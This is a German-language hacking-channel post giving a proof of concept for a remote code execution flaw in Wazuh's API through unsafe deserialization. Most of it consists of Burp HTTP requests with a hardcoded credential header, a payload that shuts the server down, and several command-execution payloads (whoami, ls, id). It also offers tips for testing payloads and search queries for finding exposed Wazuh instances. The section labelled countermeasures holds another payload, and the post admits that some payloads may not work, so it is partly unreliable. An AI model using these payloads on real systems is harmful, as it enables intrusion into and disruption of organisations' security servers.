
Im Wazuh-Server wurde eine kritische RCE-Sicherheitslücke identifiziert, die auf unsichere Deserialisierung im Paket wazuh-manager zurückzuführen ist. Dieser Fehler betrifft Wazuh-Versionen ≥ 4.4.0 und wurde in Version 4.9.1 behoben.
🚨 Wazuh Remote Code Execution (RCE) - PoC
Eine kritische RCE-Schwachstelle wurde im Wazuh-Server aufgrund unsicherer Deserialisierung im Paket wazuh-manager identifiziert. Dieser Fehler betrifft Wazuh-Versionen ≥ 4.4.0 und wurde in Version 4.9.1 behoben.
🔍 Details
Der Fehler liegt in der DistributedAPI der Wazuh-API, in der benutzergesteuerte Eingaben unsicher deserialisiert werden. Dies ermöglicht Angreifern mit API-Zugriff (z. B. kompromittiertem Dashboard oder Cluster-Knoten), beliebigen Python-Code auf dem Master-Server über den run_as-Endpunkt auszuführen.
📬 Proof of Concept (Burp-Anfrage)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 Der Authorization-Header ist die Base64-Kodierung von wazuh-wui:MyS3cr37P450r.*-.
📌 Das Payload bewirkt, dass der Wazuh-Server heruntergefahren wird, indem die exit()-Methode von Python aufgerufen wird.
💥 Auswirkungen
🛡️ Gegenmaßnahmen
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
Aber das allein funktioniert nicht, es sei denn, der Deserialisierungscode führt den Objektbaum tatsächlich aus. Verwende stattdessen ein __reduce__-basiertes Objekt, das Code ausführt.
Hier ist das funktionierende Format für eine Burp-Anfrage unter Verwendung von Pythons os.system() über eine Pickle-ähnliche Logik:
💣 Funktionierendes Burp-RCE-Payload (Python-Codeausführung)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 Um ls auszuführen, ändere das Payload:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
Du kannst auch Folgendes verwenden:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ Hinweis: Die eigentliche Deserialisierung muss im Backend mit eval() oder ähnlichen Mechanismen erfolgen, damit dies funktioniert. Basierend auf dem Wazuh-PoC ist dies tatsächlich möglich, wenn du auth_context kontrollierst.
🔐 Profi-Tipp Intercepte die Anfrage in Burp, wechsle zum Repeater-Tab und teste mehrere Payloads wie:
"whoami""id""uname -a""ls /home/wazuh"👇Abfrage
product.name="Wazuh"app="Wazuh"Wenn die Antwort leer ist oder der Status 500 ist, überprüfe die Logs — manchmal wird die Ausgabe nicht zurückgegeben. 📚 Bleibt scharf, Hacker! Weitere Bug-Bounty-PoCs, Bypasses und Payloads sind unterwegs!
Folgt 👉 @cybersecplayground für tägliche Hacking-Inhalte!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit